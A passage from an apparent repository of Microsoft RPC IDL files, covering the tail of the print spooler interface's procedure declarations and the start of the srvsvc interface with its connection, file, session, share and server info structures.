RpcOpenPrinterEx(
[in, string, unique] STRING_HANDLE pPrinterName,
[out] PRINTER_HANDLE* pHandle,
[in, string, unique] wchar_t* pDatatype,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] DWORD AccessRequired,
[in] SPLCLIENT_CONTAINER* pClientInfo
);
DWORD
RpcAddPrinterEx(
[in, string, unique] STRING_HANDLE pName,
[in] PRINTER_CONTAINER* pPrinterContainer,
[in] DEVMODE_CONTAINER* pDevModeContainer,
[in] SECURITY_CONTAINER* pSecurityContainer,
[in] SPLCLIENT_CONTAINER* pClientInfo,
[out] PRINTER_HANDLE* pHandle
);
DWORD
RpcSetPort(
[in, string, unique] STRING_HANDLE pName,
[in, string, unique] wchar_t* pPortName,
[in] PORT_CONTAINER* pPortContainer
);
DWORD
RpcEnumPrinterData(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD dwIndex,
[out, size_is(cbValueName / sizeof(wchar_t))] wchar_t* pValueName,
[in] DWORD cbValueName,
[out] DWORD* pcbValueName,
[out] DWORD* pType,
[out, size_is(cbData)] BYTE* pData,
[in] DWORD cbData,
[out] DWORD* pcbData
);
DWORD
RpcDeletePrinterData(
[in] PRINTER_HANDLE hPrinter,
[in, string] wchar_t* pValueName
);
void
Opnum74NotUsedOnWire();
void
Opnum75NotUsedOnWire();
void
Opnum76NotUsedOnWire();
DWORD
RpcSetPrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[in, string] const wchar_t* pValueName,
[in] DWORD Type,
[in, size_is(cbData)] BYTE* pData,
[in] DWORD cbData
);
DWORD
RpcGetPrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[in, string] const wchar_t* pValueName,
[out] DWORD* pType,
[out, size_is(nSize)] BYTE* pData,
[in] DWORD nSize,
[out] DWORD* pcbNeeded
);
DWORD
RpcEnumPrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[out, size_is(cbEnumValues)] BYTE* pEnumValues,
[in] DWORD cbEnumValues,
[out] DWORD* pcbEnumValues,
[out] DWORD* pnEnumValues
);
DWORD
RpcEnumPrinterKey(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[out, size_is(cbSubkey / sizeof(wchar_t))] wchar_t* pSubkey,
[in] DWORD cbSubkey,
[out] DWORD* pcbSubkey
);
DWORD
RpcDeletePrinterDataEx(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName,
[in, string] const wchar_t* pValueName
);
DWORD
RpcDeletePrinterKey(
[in] PRINTER_HANDLE hPrinter,
[in, string] const wchar_t* pKeyName
);
void
Opnum83NotUsedOnWire();
DWORD
RpcDeletePrinterDriverEx(
[in, string, unique] STRING_HANDLE pName,
[in, string] wchar_t* pEnvironment,
[in, string] wchar_t* pDriverName,
[in] DWORD dwDeleteFlag,
[in] DWORD dwVersionNum
);
DWORD
RpcAddPerMachineConnection(
[in, string, unique] STRING_HANDLE pServer,
[in, string] const wchar_t* pPrinterName,
[in, string] const wchar_t* pPrintServer,
[in, string] const wchar_t* pProvider
);
DWORD
RpcDeletePerMachineConnection(
[in, string, unique] STRING_HANDLE pServer,
[in, string] const wchar_t* pPrinterName
);
DWORD
RpcEnumPerMachineConnections(
[in, string, unique] STRING_HANDLE pServer,
[in, out, unique, size_is(cbBuf), disable_consistency_check] BYTE*
pPrinterEnum,
[in] DWORD cbBuf,
[out] DWORD* pcbNeeded,
[out] DWORD* pcReturned
);
DWORD
RpcXcvData(
[in] PRINTER_HANDLE hXcv,
[in, string] const wchar_t* pszDataName,
[in, size_is(cbInputData)] BYTE* pInputData,
[in] DWORD cbInputData,
[out, size_is(cbOutputData)] BYTE* pOutputData,
[in] DWORD cbOutputData,
[out] DWORD* pcbOutputNeeded,
[in, out] DWORD* pdwStatus
);
DWORD
RpcAddPrinterDriverEx(
[in, string, unique] STRING_HANDLE pName,
[in] DRIVER_CONTAINER* pDriverContainer,
[in] DWORD dwFileCopyFlags
);
void
Opnum90NotUsedOnWire();
void
Opnum91NotUsedOnWire();
void
Opnum92NotUsedOnWire();
void
Opnum93NotUsedOnWire();
void
Opnum94NotUsedOnWire();
void
Opnum95NotUsedOnWire();
DWORD
RpcFlushPrinter(
[in] PRINTER_HANDLE hPrinter,
[in, size_is(cbBuf)] BYTE* pBuf,
[in] DWORD cbBuf,
[out] DWORD* pcWritten,
[in] DWORD cSleep
);
DWORD RpcSendRecvBidiData(
[in] PRINTER_HANDLE hPrinter,
[in, string, unique] const wchar_t* pAction,
[in] long pReqData,
[out] long* ppRespData);
void
Opnum98NotUsedOnWire();
void
Opnum99NotUsedOnWire();
void
Opnum100NotUsedOnWire();
void
Opnum101NotUsedOnWire();
HRESULT RpcGetCorePrinterDrivers(
[in, string, unique] STRING_HANDLE pszServer,
[in, string] const wchar_t* pszEnvironment,
[in] DWORD cchCoreDrivers,
[in, size_is(cchCoreDrivers)] const wchar_t* pszzCoreDriverDependencies,
[in] DWORD cCorePrinterDrivers,
[out] long* pCorePrinterDrivers);
void
Opnum103NotUsedOnWire();
HRESULT RpcGetPrinterDriverPackagePath(
[in, string, unique] STRING_HANDLE pszServer,
[in, string] const wchar_t* pszEnvironment,
[in, string, unique] const wchar_t* pszLanguage,
[in, string] const wchar_t* pszPackageID,
[in, out, unique, size_is(cchDriverPackageCab)]
wchar_t* pszDriverPackageCab,
[in] DWORD cchDriverPackageCab,
[out] LPDWORD pcchRequiredSize);
void
Opnum105NotUsedOnWire();
void
Opnum106NotUsedOnWire();
void
Opnum107NotUsedOnWire();
void
Opnum108NotUsedOnWire();
void
Opnum109NotUsedOnWire();
DWORD RpcGetJobNamedPropertyValue(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in, string] const wchar_t* pszName,
[out] long* pValue);
DWORD RpcSetJobNamedProperty(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in] long pProperty);
DWORD RpcDeleteJobNamedProperty(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[in, string] const wchar_t* pszName);
DWORD RpcEnumJobNamedProperties(
[in] PRINTER_HANDLE hPrinter,
[in] DWORD JobId,
[out] DWORD* pcProperties,
[out] long* ppProperties);
long Proc114(
[in][unique][string] wchar_t* arg_0);
long Proc115(
[in][context_handle] void* arg_0,
[out]unsigned __int3264* arg_1);
long Proc116(
[in][context_handle] void* arg_0,
[in] long arg_1);
}
================================================
FILE: IDL_FILES/ms-srvsvc.idl
================================================
[
uuid(4B324FC8-1670-01D3-1278-5A47BF6EE188),
version(3.0),
ms_union,
pointer_default(unique)
]
interface srvsvc
{
typedef int BOOL, * PBOOL, * LPBOOL;
typedef unsigned char BYTE, * PBYTE, * LPBYTE;
typedef BYTE BOOLEAN, * PBOOLEAN;
typedef wchar_t WCHAR, * PWCHAR;
typedef WCHAR* BSTR;
typedef double DOUBLE;
typedef unsigned long DWORD, * PDWORD, * LPDWORD;
typedef unsigned int DWORD32;
typedef unsigned __int64 DWORD64, * PDWORD64;
typedef unsigned __int64 ULONGLONG;
typedef ULONGLONG DWORDLONG, * PDWORDLONG;
typedef unsigned char UCHAR, * PUCHAR;
typedef void* HANDLE;
typedef DWORD HCALL;
typedef int INT, * LPINT;
typedef signed char INT8;
typedef signed short INT16;
typedef signed int INT32;
typedef signed __int64 INT64;
typedef void* LDAP_UDP_HANDLE;
typedef const wchar_t* LMCSTR;
typedef WCHAR* LMSTR;
typedef long LONG, * PLONG, * LPLONG;
typedef signed __int64 LONGLONG;
typedef LONG HRESULT;
typedef __int3264 LONG_PTR;
typedef unsigned __int3264 ULONG_PTR;
typedef signed int LONG32;
typedef signed __int64 LONG64, * PLONG64;
typedef const void* LPCVOID;
typedef wchar_t* LPWSTR, * PWSTR;
typedef DWORD NET_API_STATUS;
typedef long NTSTATUS;
typedef [context_handle] void* PCONTEXT_HANDLE;
typedef [ref] PCONTEXT_HANDLE* PPCONTEXT_HANDLE;
typedef const wchar_t* LPCWSTR;
typedef unsigned int UINT;
typedef unsigned char UINT8;
typedef unsigned short UINT16;
typedef unsigned int UINT32;
typedef unsigned __int64 UINT64;
typedef unsigned long ULONG, * PULONG;
typedef unsigned __int64 QWORD;
typedef void* RPC_BINDING_HANDLE;
typedef UCHAR* STRING;
typedef ULONG_PTR DWORD_PTR;
typedef ULONG_PTR SIZE_T;
typedef unsigned int ULONG32;
typedef unsigned __int64 ULONG64;
typedef unsigned short USHORT;
typedef void* PVOID, * LPVOID;
typedef unsigned short WORD, * PWORD, * LPWORD;
typedef DWORD SECURITY_INFORMATION, * PSECURITY_INFORMATION;
typedef struct _GUID {
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
byte Data4[8];
} GUID,
UUID,
* PGUID;
typedef [handle, string] wchar_t* SRVSVC_HANDLE;
typedef struct _CONNECTION_INFO_0
{
DWORD coni0_id;
} CONNECTION_INFO_0,
* PCONNECTION_INFO_0,
* LPCONNECTION_INFO_0;
typedef struct _CONNECT_INFO_0_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPCONNECTION_INFO_0 Buffer;
} CONNECT_INFO_0_CONTAINER,
* PCONNECT_INFO_0_CONTAINER,
* LPCONNECT_INFO_0_CONTAINER;
typedef struct _CONNECTION_INFO_1
{
DWORD coni1_id;
DWORD coni1_type;
DWORD coni1_num_opens;
DWORD coni1_num_users;
DWORD coni1_time;
[string] wchar_t* coni1_username;
[string] wchar_t* coni1_netname;
} CONNECTION_INFO_1,
* PCONNECTION_INFO_1,
* LPCONNECTION_INFO_1;
typedef struct _CONNECT_INFO_1_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPCONNECTION_INFO_1 Buffer;
} CONNECT_INFO_1_CONTAINER,
* PCONNECT_INFO_1_CONTAINER,
* LPCONNECT_INFO_1_CONTAINER;
typedef [switch_type(DWORD)] union _CONNECT_ENUM_UNION {
[case(0)]
CONNECT_INFO_0_CONTAINER* Level0;
[case(1)]
CONNECT_INFO_1_CONTAINER* Level1;
} CONNECT_ENUM_UNION;
typedef struct _CONNECT_ENUM_STRUCT {
DWORD Level;
[switch_is(Level)] CONNECT_ENUM_UNION ConnectInfo;
} CONNECT_ENUM_STRUCT,
* PCONNECT_ENUM_STRUCT,
* LPCONNECT_ENUM_STRUCT;
typedef struct _FILE_INFO_2
{
DWORD fi2_id;
} FILE_INFO_2, * PFILE_INFO_2, * LPFILE_INFO_2;
typedef struct _FILE_INFO_2_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPFILE_INFO_2 Buffer;
} FILE_INFO_2_CONTAINER,
* PFILE_INFO_2_CONTAINER,
* LPFILE_INFO_2_CONTAINER;
typedef struct _FILE_INFO_3 {
DWORD fi3_id;
DWORD fi3_permissions;
DWORD fi3_num_locks;
[string] wchar_t* fi3_pathname;
[string] wchar_t* fi3_username;
} FILE_INFO_3,
* PFILE_INFO_3,
* LPFILE_INFO_3;
typedef struct _FILE_INFO_3_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPFILE_INFO_3 Buffer;
} FILE_INFO_3_CONTAINER,
* PFILE_INFO_3_CONTAINER,
* LPFILE_INFO_3_CONTAINER;
typedef [switch_type(DWORD)] union _FILE_ENUM_UNION {
[case(2)]
FILE_INFO_2_CONTAINER* Level2;
[case(3)]
FILE_INFO_3_CONTAINER* Level3;
} FILE_ENUM_UNION;
typedef struct _FILE_ENUM_STRUCT {
DWORD Level;
[switch_is(Level)] FILE_ENUM_UNION FileInfo;
} FILE_ENUM_STRUCT,
* PFILE_ENUM_STRUCT,
* LPFILE_ENUM_STRUCT;
typedef [switch_type(unsigned long)] union _FILE_INFO
{
[case(2)]
LPFILE_INFO_2 FileInfo2;
[case(3)]
LPFILE_INFO_3 FileInfo3;
} FILE_INFO,
* PFILE_INFO,
* LPFILE_INFO;
typedef struct _SESSION_INFO_0
{
[string] wchar_t* sesi0_cname;
} SESSION_INFO_0,
* PSESSION_INFO_0,
* LPSESSION_INFO_0;
typedef struct _SESSION_INFO_0_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSESSION_INFO_0 Buffer;
} SESSION_INFO_0_CONTAINER,
* PSESSION_INFO_0_CONTAINER,
* LPSESSION_INFO_0_CONTAINER;
typedef struct _SESSION_INFO_1
{
[string] wchar_t* sesi1_cname;
[string] wchar_t* sesi1_username;
DWORD sesi1_num_opens;
DWORD sesi1_time;
DWORD sesi1_idle_time;
DWORD sesi1_user_flags;
} SESSION_INFO_1,
* PSESSION_INFO_1,
* LPSESSION_INFO_1;
typedef struct _SESSION_INFO_1_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSESSION_INFO_1 Buffer;
} SESSION_INFO_1_CONTAINER,
* PSESSION_INFO_1_CONTAINER,
* LPSESSION_INFO_1_CONTAINER;
typedef struct _SESSION_INFO_2
{
[string] wchar_t* sesi2_cname;
[string] wchar_t* sesi2_username;
DWORD sesi2_num_opens;
DWORD sesi2_time;
DWORD sesi2_idle_time;
DWORD sesi2_user_flags;
[string] wchar_t* sesi2_cltype_name;
} SESSION_INFO_2,
* PSESSION_INFO_2,
* LPSESSION_INFO_2;
typedef struct _SESSION_INFO_2_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSESSION_INFO_2 Buffer;
} SESSION_INFO_2_CONTAINER,
* PSESSION_INFO_2_CONTAINER,
* LPSESSION_INFO_2_CONTAINER;
typedef struct _SESSION_INFO_10
{
[string] wchar_t* sesi10_cname;
[string] wchar_t* sesi10_username;
DWORD sesi10_time;
DWORD sesi10_idle_time;
} SESSION_INFO_10,
* PSESSION_INFO_10,
* LPSESSION_INFO_10;
typedef struct _SESSION_INFO_10_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSESSION_INFO_10 Buffer;
} SESSION_INFO_10_CONTAINER,
* PSESSION_INFO_10_CONTAINER,
* LPSESSION_INFO_10_CONTAINER;
typedef struct _SESSION_INFO_502
{
[string] wchar_t* sesi502_cname;
[string] wchar_t* sesi502_username;
DWORD sesi502_num_opens;
DWORD sesi502_time;
DWORD sesi502_idle_time;
DWORD sesi502_user_flags;
[string] wchar_t* sesi502_cltype_name;
[string] wchar_t* sesi502_transport;
} SESSION_INFO_502,
* PSESSION_INFO_502,
* LPSESSION_INFO_502;
typedef struct _SESSION_INFO_502_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSESSION_INFO_502 Buffer;
} SESSION_INFO_502_CONTAINER,
* PSESSION_INFO_502_CONTAINER,
* LPSESSION_INFO_502_CONTAINER;
typedef [switch_type(DWORD)] union _SESSION_ENUM_UNION {
[case(0)]
SESSION_INFO_0_CONTAINER* Level0;
[case(1)]
SESSION_INFO_1_CONTAINER* Level1;
[case(2)]
SESSION_INFO_2_CONTAINER* Level2;
[case(10)]
SESSION_INFO_10_CONTAINER* Level10;
[case(502)]
SESSION_INFO_502_CONTAINER* Level502;
} SESSION_ENUM_UNION;
typedef struct _SESSION_ENUM_STRUCT {
DWORD Level;
[switch_is(Level)] SESSION_ENUM_UNION SessionInfo;
} SESSION_ENUM_STRUCT,
* PSESSION_ENUM_STRUCT,
* LPSESSION_ENUM_STRUCT;
typedef struct _SHARE_INFO_502_I
{
[string] WCHAR* shi502_netname;
DWORD shi502_type;
[string] WCHAR* shi502_remark;
DWORD shi502_permissions;
DWORD shi502_max_uses;
DWORD shi502_current_uses;
[string] WCHAR* shi502_path;
[string] WCHAR* shi502_passwd;
DWORD shi502_reserved;
[size_is(shi502_reserved)] unsigned char
* shi502_security_descriptor;
} SHARE_INFO_502_I,
* PSHARE_INFO_502_I,
* LPSHARE_INFO_502_I;
typedef struct _SHARE_INFO_503_I
{
[string] WCHAR* shi503_netname;
DWORD shi503_type;
[string] WCHAR* shi503_remark;
DWORD shi503_permissions;
DWORD shi503_max_uses;
DWORD shi503_current_uses;
[string] WCHAR* shi503_path;
[string] WCHAR* shi503_passwd;
[string] WCHAR* shi503_servername;
DWORD shi503_reserved;
[size_is(shi503_reserved)] PUCHAR shi503_security_descriptor;
} SHARE_INFO_503_I,
* PSHARE_INFO_503_I,
* LPSHARE_INFO_503_I;
typedef struct _SHARE_INFO_503_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSHARE_INFO_503_I Buffer;
} SHARE_INFO_503_CONTAINER,
* PSHARE_INFO_503_CONTAINER,
* LPSHARE_INFO_503_CONTAINER;
typedef struct _SHARE_INFO_1501_I
{
DWORD shi1501_reserved;
[size_is(shi1501_reserved)] unsigned char
* shi1501_security_descriptor;
} SHARE_INFO_1501_I,
* PSHARE_INFO_1501_I,
* LPSHARE_INFO_1501_I;
typedef struct _SHARE_INFO_0
{
[string] wchar_t* shi0_netname;
} SHARE_INFO_0,
* PSHARE_INFO_0,
* LPSHARE_INFO_0;
typedef struct _SHARE_INFO_0_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSHARE_INFO_0 Buffer;
} SHARE_INFO_0_CONTAINER;
typedef struct _SHARE_INFO_1
{
[string] wchar_t* shi1_netname;
DWORD shi1_type;
[string] wchar_t* shi1_remark;
} SHARE_INFO_1,
* PSHARE_INFO_1,
* LPSHARE_INFO_1;
typedef struct _SHARE_INFO_1_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSHARE_INFO_1 Buffer;
} SHARE_INFO_1_CONTAINER;
typedef struct _SHARE_INFO_2
{
[string] wchar_t* shi2_netname;
DWORD shi2_type;
[string] wchar_t* shi2_remark;
DWORD shi2_permissions;
DWORD shi2_max_uses;
DWORD shi2_current_uses;
[string] wchar_t* shi2_path;
[string] wchar_t* shi2_passwd;
} SHARE_INFO_2,
* PSHARE_INFO_2,
* LPSHARE_INFO_2;
typedef struct _SHARE_INFO_2_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSHARE_INFO_2 Buffer;
} SHARE_INFO_2_CONTAINER,
* PSHARE_INFO_2_CONTAINER,
* LPSHARE_INFO_2_CONTAINER;
typedef struct _SHARE_INFO_501
{
[string] wchar_t* shi501_netname;
DWORD shi501_type;
[string] wchar_t* shi501_remark;
DWORD shi501_flags;
} SHARE_INFO_501,
* PSHARE_INFO_501,
* LPSHARE_INFO_501;
typedef struct _SHARE_INFO_501_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSHARE_INFO_501 Buffer;
} SHARE_INFO_501_CONTAINER, * PSHARE_INFO_501_CONTAINER,
* LPSHARE_INFO_501_CONTAINER;
typedef struct _SHARE_INFO_502_CONTAINER
{
DWORD EntriesRead;
[size_is(EntriesRead)] LPSHARE_INFO_502_I Buffer;
} SHARE_INFO_502_CONTAINER,
* PSHARE_INFO_502_CONTAINER,
* LPSHARE_INFO_502_CONTAINER;
typedef [switch_type(DWORD)] union _SHARE_ENUM_UNION {
[case(0)]
SHARE_INFO_0_CONTAINER* Level0;
[case(1)]
SHARE_INFO_1_CONTAINER* Level1;
[case(2)]
SHARE_INFO_2_CONTAINER* Level2;
[case(501)]
SHARE_INFO_501_CONTAINER* Level501;
[case(502)]
SHARE_INFO_502_CONTAINER* Level502;
[case(503)]
SHARE_INFO_503_CONTAINER* Level503;
} SHARE_ENUM_UNION;
typedef struct _SHARE_ENUM_STRUCT
{
DWORD Level;
[switch_is(Level)] SHARE_ENUM_UNION ShareInfo;
} SHARE_ENUM_STRUCT,
* PSHARE_ENUM_STRUCT,
* LPSHARE_ENUM_STRUCT;
typedef struct _SHARE_INFO_1004
{
[string] wchar_t* shi1004_remark;
} SHARE_INFO_1004,
* PSHARE_INFO_1004,
* LPSHARE_INFO_1004;
typedef struct _SHARE_INFO_1006
{
DWORD shi1006_max_uses;
} SHARE_INFO_1006,
* PSHARE_INFO_1006,
* LPSHARE_INFO_1006;
typedef struct _SHARE_INFO_1005
{
DWORD shi1005_flags;
} SHARE_INFO_1005,
* PSHARE_INFO_1005,
* LPSHARE_INFO_1005;
//JMP: order differs in documentation
typedef [switch_type(unsigned long)] union _SHARE_INFO
// for Get & Set info
{
[case(0)]
LPSHARE_INFO_0 ShareInfo0;
[case(1)]
LPSHARE_INFO_1 ShareInfo1;
[case(2)]
LPSHARE_INFO_2 ShareInfo2;
[case(502)]
LPSHARE_INFO_502_I ShareInfo502;
[case(1004)]
LPSHARE_INFO_1004 ShareInfo1004;
[case(1006)]
LPSHARE_INFO_1006 ShareInfo1006;
[case(1501)]
LPSHARE_INFO_1501_I ShareInfo1501;
[default]
;
[case(1005)]
LPSHARE_INFO_1005 ShareInfo1005;
[case(501)]
LPSHARE_INFO_501 ShareInfo501;
[case(503)]
LPSHARE_INFO_503_I ShareInfo503;
} SHARE_INFO,
* PSHARE_INFO,
* LPSHARE_INFO;
typedef struct _SERVER_INFO_100
{
DWORD sv100_platform_id;
[string] wchar_t* sv100_name;
} SERVER_INFO_100,
* PSERVER_INFO_100,
* LPSERVER_INFO_100;
typedef struct _SERVER_INFO_101
{
DWORD sv101_platform_id;
[string] wchar_t* sv101_name;
DWORD sv101_version_major;
DWORD sv101_version_minor;
DWORD sv101_type;
[string] wchar_t* sv101_comment;
} SERVER_INFO_101,
* PSERVER_INFO_101,
* LPSERVER_INFO_101;
typedef struct _SERVER_INFO_102
{
DWORD sv102_platform_id;
[string] wchar_t* sv102_name;
DWORD sv102_version_major;
DWORD sv102_version_minor;
DWORD sv102_type;
[string] wchar_t* sv102_comment;
DWORD sv102_users;
long sv102_disc;
int sv102_hidden;
DWORD sv102_announce;
DWORD sv102_anndelta;
DWORD sv102_licenses;
[string] wchar_t* sv102_userpath;
} SERVER_INFO_102,
* PSERVER_INFO_102,
* LPSERVER_INFO_102;
typedef struct _SERVER_INFO_103
{
DWORD sv103_platform_id;
[string] wchar_t* sv103_name;
DWORD sv103_version_major;
DWORD sv103_version_minor;
DWORD sv103_type;
[string] wchar_t* sv103_comment;
DWORD sv103_users;
LONG sv103_disc;
BOOL sv103_hidden;
DWORD sv103_announce;
DWORD sv103_anndelta;
DWORD sv103_licenses;
[string] wchar_t* sv103_userpath;
DWORD sv103_capabilities;
} SERVER_INFO_103,
* PSERVER_INFO_103,
* LPSERVER_INFO_103;
typedef struct _SERVER_INFO_502
{
DWORD sv502_sessopens;
DWORD sv502_sessvcs;
DWORD sv502_opensearch;
DWORD sv502_sizreqbuf;
DWORD sv502_initworkitems;
DWORD sv502_maxworkitems;
DWORD sv502_rawworkitems;
DWORD sv502_irpstacksize;
DWORD sv502_maxrawbuflen;
DWORD sv502_sessusers;
DWORD sv502_sessconns;
DWORD sv502_maxpagedmemoryusage;
DWORD sv502_maxnonpagedmemoryusage;
int sv502_enablesoftcompat;
int sv502_enableforcedlogoff;
int sv502_timesource;
int sv502_acceptdownlevelapis;
int sv502_lmannounce;
} SERVER_INFO_502,
* PSERVER_INFO_502,
* LPSERVER_INFO_502;
typedef struct _SERVER_INFO_503
{
DWORD sv503_sessopens;
DWORD sv503_sessvcs;
DWORD sv503_opensearch;
DWORD sv503_sizreqbuf;
DWORD sv503_initworkitems;
DWORD sv503_maxworkitems;
DWORD sv503_rawworkitems;
DWORD sv503_irpstacksize;
DWORD sv503_maxrawbuflen;
DWORD sv503_sessusers;
DWORD sv503_sessconns;
DWORD sv503_maxpagedmemoryusage;
DWORD sv503_maxnonpagedmemoryusage;
int sv503_enablesoftcompat;
int sv503_enableforcedlogoff;
int sv503_timesource;
int sv503_acceptdownlevelapis;
int sv503_lmannounce;
[string] wchar_t* sv503_domain;
DWORD sv503_maxcopyreadlen;
DWORD sv503_maxcopywritelen;
DWORD sv503_minkeepsearch;
DWORD sv503_maxkeepsearch;
DWORD sv503_minkeepcomplsearch;
DWORD sv503_maxkeepcomplsearch;
DWORD sv503_threadcountadd;
DWORD sv503_numblockthreads;
DWORD sv503_scavtimeout;
DWORD sv503_minrcvqueue;
DWORD sv503_minfreeworkitems;
DWORD sv503_xactmemsize;
DWORD sv503_threadpriority;
DWORD sv503_maxmpxct;
DWORD sv503_oplockbreakwait;
DWORD sv503_oplockbreakresponsewait;
int sv503_enableoplocks;
int sv503_enableoplockforceclose;
int sv503_enablefcbopens;
int sv503_enableraw;
int sv503_enablesharednetdrives;
DWORD sv503_minfreeconnections;
DWORD sv503_maxfreeconnections;
} SERVER_INFO_503,
* PSERVER_INFO_503,
* LPSERVER_INFO_503;
typedef struct _SERVER_INFO_599
{
DWORD sv599_sessopens;
DWORD sv599_sessvcs;
DWORD sv599_opensearch;
DWORD sv599_sizreqbuf;
DWORD sv599_initworkitems;
DWORD sv599_maxworkitems;
DWORD sv599_rawworkitems;
DWORD sv599_irpstacksize;
DWORD sv599_maxrawbuflen;
DWORD sv599_sessusers;
DWORD sv599_sessconns;
DWORD sv599_maxpagedmemoryusage;
DWORD sv599_maxnonpagedmemoryusage;
int sv599_enablesoftcompat;
int sv599_enableforcedlogoff;
int sv599_timesource;
int sv599_acceptdownlevelapis;
int sv599_lmannounce;
[string] wchar_t* sv599_domain;
DWORD sv599_maxcopyreadlen;
DWORD sv599_maxcopywritelen;
DWORD sv599_minkeepsearch;
DWORD sv599_maxkeepsearch;
DWORD sv599_minkeepcomplsearch;
DWORD sv599_maxkeepcomplsearch;
DWORD sv599_threadcountadd;
DWORD sv599_numblockthreads;
DWORD sv599_scavtimeout;
DWORD sv599_minrcvqueue;
DWORD sv599_minfreeworkitems;
DWORD sv599_xactmemsize;
DWORD sv599_threadpriority;
DWORD sv599_maxmpxct;
DWORD sv599_oplockbreakwait;
DWORD sv599_oplockbreakresponsewait;
int sv599_enableoplocks;
int sv599_enableoplockforceclose;
int sv599_enablefcbopens;
int sv599_enableraw;
int sv599_enablesharednetdrives;
DWORD sv599_minfreeconnections;
DWORD sv599_maxfreeconnections;
DWORD sv599_initsesstable;
DWORD sv599_initconntable;
DWORD sv599_initfiletable;
DWORD sv599_initsearchtable;
DWORD sv599_alertschedule;
DWORD sv599_errorthreshold;
DWORD sv599_networkerrorthreshold;
DWORD sv599_diskspacethreshold;
DWORD sv599_reserved;
DWORD sv599_maxlinkdelay;
DWORD sv599_minlinkthroughput;
DWORD sv599_linkinfovalidtime;
DWORD sv599_scavqosinfoupdatetime;
DWORD sv599_maxworkitemidletime;
} SERVER_INFO_599,
* PSERVER_INFO_599,
* LPSERVER_INFO_599;
typedef struct _SERVER_INFO_1005
{
[string] wchar_t* sv1005_comment;
} SERVER_INFO_1005,
* PSERVER_INFO_1005,
* LPSERVER_INFO_1005;
typedef struct _SERVER_INFO_1107
{
DWORD sv1107_users;
} SERVER_INFO_1107,
* PSERVER_INFO_1107,
* LPSERVER_INFO_1107;
typedef struct _SERVER_INFO_1010
{
long sv1010_disc;
} SERVER_INFO_1010,
* PSERVER_INFO_1010,
* LPSERVER_INFO_1010;
typedef struct _SERVER_INFO_1016
{
int sv1016_hidden;
} SERVER_INFO_1016,
* PSERVER_INFO_1016,
* LPSERVER_INFO_1016;
typedef struct _SERVER_INFO_1017
{
DWORD sv1017_announce;
} SERVER_INFO_1017,
* PSERVER_INFO_1017,
* LPSERVER_INFO_1017;
typedef struct _SERVER_INFO_1018
{
DWORD sv1018_anndelta;
} SERVER_INFO_1018,
* PSERVER_INFO_1018,
* LPSERVER_INFO_1018;
typedef struct _SERVER_INFO_1501
{
DWORD sv1501_sessopens;
} SERVER_INFO_1501,
* PSERVER_INFO_1501,
* LPSERVER_INFO_1501;
typedef struct _SERVER_INFO_1502
{
DWORD sv1502_sessvcs;
} SERVER_INFO_1502,
* PSERVER_INFO_1502,
* LPSERVER_INFO_1502;
typedef struct _SERVER_INFO_1503
{
DWORD sv1503_opensearch;
} SERVER_INFO_1503, * PSERVER_INFO_1503, * LPSERVER_INFO_1503;
typedef struct _SERVER_INFO_1506
{
DWORD sv1506_maxworkitems;
} SERVER_INFO_1506, * PSERVER_INFO_1506, * LPSERVER_INFO_1506;
typedef struct _SERVER_INFO_1510
{
DWORD sv1510_sessusers;
} SERVER_INFO_1510, * PSERVER_INFO_1510, * LPSERVER_INFO_1510;
typedef struct _SERVER_INFO_1511
{
DWORD sv1511_sessconns;
} SERVER_INFO_1511, * PSERVER_INFO_1511, * LPSERVER_INFO_1511;
typedef struct _SERVER_INFO_1512
{
DWORD sv1512_maxnonpagedmemoryusage;
} SERVER_INFO_1512, * PSERVER_INFO_1512, * LPSERVER_INFO_1512;
typedef struct _SERVER_INFO_1513
{
DWORD sv1513_maxpagedmemoryusage;
} SERVER_INFO_1513, * PSERVER_INFO_1513, * LPSERVER_INFO_1513;
typedef struct _SERVER_INFO_1514
{
int sv1514_enablesoftcompat;
} SERVER_INFO_1514, * PSERVER_INFO_1514, * LPSERVER_INFO_1514;
typedef struct _SERVER_INFO_1515
{
int sv1515_enableforcedlogoff;
} SERVER_INFO_1515, * PSERVER_INFO_1515, * LPSERVER_INFO_1515;
typedef struct _SERVER_INFO_1516
{
int sv1516_timesource;
} SERVER_INFO_1516, * PSERVER_INFO_1516, * LPSERVER_INFO_1516;
typedef struct _SERVER_INFO_1518
{
int sv1518_lmannounce;
} SERVER_INFO_1518, * PSERVER_INFO_1518, * LPSERVER_INFO_1518;
typedef struct _SERVER_INFO_1523
{
DWORD sv1523_maxkeepsearch;
} SERVER_INFO_1523, * PSERVER_INFO_1523, * LPSERVER_INFO_1523;
typedef struct _SERVER_INFO_1528
{
DWORD sv1528_scavtimeout;
} SERVER_INFO_1528, * PSERVER_INFO_1528, * LPSERVER_INFO_1528;
typedef struct _SERVER_INFO_1529
{
DWORD sv1529_minrcvqueue;
} SERVER_INFO_1529, * PSERVER_INFO_1529, * LPSERVER_INFO_1529;
typedef struct _SERVER_INFO_1530
